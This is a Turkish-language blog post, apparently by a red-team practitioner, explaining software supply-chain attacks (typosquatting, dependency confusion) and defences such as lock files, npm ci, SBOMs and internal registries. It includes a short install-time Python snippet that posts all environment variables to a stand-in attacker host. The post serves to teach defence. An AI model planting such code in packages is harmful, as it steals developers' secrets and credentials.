Sabahın köründe, sırf bir npm paketini 'update' ettin diye bütün prod ortamının patladığını görüp, hatanın senden değil de dünyanın öbür ucundaki bir geliştiricinin sinirlenip sildiği o minicik kod satırından kaynaklandığını fark ettiğinde gelen o çaresizlik hissini bilir misin? İşte o an, supply chain (tedarik zinciri) dediğimiz o devasa ağın ne kadar kırılgan olduğunu ilk kez iliklerine kadar hissedersin.
Dostum, biz Red Team tarafında sistemleri zorlarken genellikle en zayıf halkayı ararız. Eskiden bu, güncellenmemiş bir Windows sunucusu ya da zayıf bir parola olurdu. Ama artık oyun değişti. Artık senin sistemlerine girmek için senin kapını çalmamıza gerek yok; senin kullandığın anahtarın üreticisine sızmamız yetiyor.
Kodunun Gerçek Sahibi Kim?
Modern yazılım geliştirme dünyasında 'tekerleği yeniden icat etmeme' mottosu bizi birer paket bağımlısı haline getirdi. testCompany bünyesinde bir proje geliştirirken muhtemelen npm install, pip install veya go get komutlarını günde onlarca kez çalıştırıyorsun. Bir düşün; yazdığın o 'muhteşem' mikroservis aslında 100 satır senin kodun, 100.000 satır ise hiç tanımadığın insanların yazdığı kütüphanelerden oluşuyor.
Bir saldırgan olarak ben, senin firewall kurallarını aşmakla uğraşmak yerine, senin çok sevdiğin o popüler logging kütüphanesinin maintainer'ının (yöneticisinin) GitHub hesabını ele geçirirsem ne olur? Cevap basit: Oyun biter.
Typosquatting: Bir Harf Hatası Hayatını Karartabilir
En basit ama en etkili yöntemlerden biri. requests yerine requesst yazdığını hayal et. Konsolda bir hata almadın, paket indi, uygulama çalışıyor. Ama arka planda o paket senin environment variable'larını (ENV) çoktan uzak bir sunucuya post etti bile.
Örnek bir 'zararsızlaştırılmış' (defanged) malicious payload mantığına bakalım:
# pseudo-code: malicious_setup.py
import os
import requests
def exfiltrate_data():
# Hassas verileri topla
env_vars = str(os.environ)
target_url = "http://attacker-example.com/collect"
try:
# Veriyi saldırganın sunucusuna gönder
requests.post(target_url, data={'secrets': env_vars}, timeout=2)
except:
pass
# Paket yüklendiği an çalışacak tetikleyici
exfiltrate_data()
Sen sadece bir harf yanlış yazdın, ama ben senin AWS anahtarlarını, database şifrelerini ve API tokenlarını çoktan aldım.
Dependency Confusion: İçeriden mi Dışarıdan mı?
Bu konu benim favorim. Büyük şirketler genellikle kendi iç paketlerini (internal packages) kullanırlar. Örneğin test-company-internal-auth diye bir paketiniz olsun. Eğer bu paket sadece şirket içi artifact sunucusunda (Nexus, Artifactory vb.) varsa ve ben gidip aynı isimle ancak daha yüksek bir versiyon numarasıyla (örn: v99.9.9) bunu public npm registry'sine yüklersem ne olur?
Birçok paket yöneticisi, bir paket hem yerel hem de global registry'de varsa, varsayılan olarak en yüksek versiyonu çeker. Boom! Senin build pipeline'ın, benim zararlı kodumu 'güncel versiyon' sanıp kendi elleriyle prod ortamına sokar.
Peki, Ne Yapacağız? (Defensive Mindset)
"Sedat, her şeyi anlattın da, fişi mi çekelim?" dediğini duyar gibiyim. Tabii ki hayır. Ama defans hattını sağlam kurman lazım. İşte sahada uyguladığımız birkaç hayat kurtaran taktik:
1. Pinning ve Hashing (Lock Dosyaları)
Sadece package.json kullanma, package-lock.json veya yarn.lock dosyalarını kutsal bil. Bu dosyalar, indirilen paketin içeriğinin değişmediğini doğrulamak için hash (SHA) değerlerini tutar.
// Örnek bir lock dosyası içeriği (defanged)
"dependency-example": {
"version": "1.2.3",
"resolved": "https://registry.npmjs.org/dependency-example/-/dependency-example-1.2.3.tgz",
"integrity": "sha512-a1b2c3...[HASH_DEGERI]..."
}
Build pipeline'ında npm ci komutunu kullanarak, lock dosyasıyla uyuşmayan hiçbir paketin yüklenmesine izin verme.
2. SBOM (Software Bill of Materials) Kullanımı
Artık ne kullandığını bilmek zorundasın. SBOM, yazılımının içindeki tüm malzemelerin listesidir. Bir kütüphanede açık (CVE) çıktığında, "Biz bunu kullanıyor muyuz?" sorusuna saniyeler içinde cevap vermeni sağlar.
3. Kendi Registry'ni Kullan (Proxy/Cache)
Her şeyi doğrudan internetten çekme. Şirket içinde bir artifact manager kullan ve dışarıdan gelen paketleri önce bir güvenlik taramasından (Snyk, Sonatype vb.) geçir.
Red Team Gözüyle Son Bir Tavsiye
Saldırganlar artık senin sunucuna sızmaya çalışmıyor, senin build pipeline'ına girmeye çalışıyorlar. CI/CD süreçlerini en az production sunucuların kadar sıkı koru. GitHub aksiyonlarındaki (Actions) üçüncü parti pluginlere bile şüpheyle bak. Unutma, güven iyi bir şeydir ama kontrol her zaman daha iyidir.
Gece rahat uyumak istiyorsan, koduna eklediğin her import satırının aslında sisteme açılan yeni bir pencere olduğunu unutma. Pencereleri açık bırakma, rüzgar çarpar.
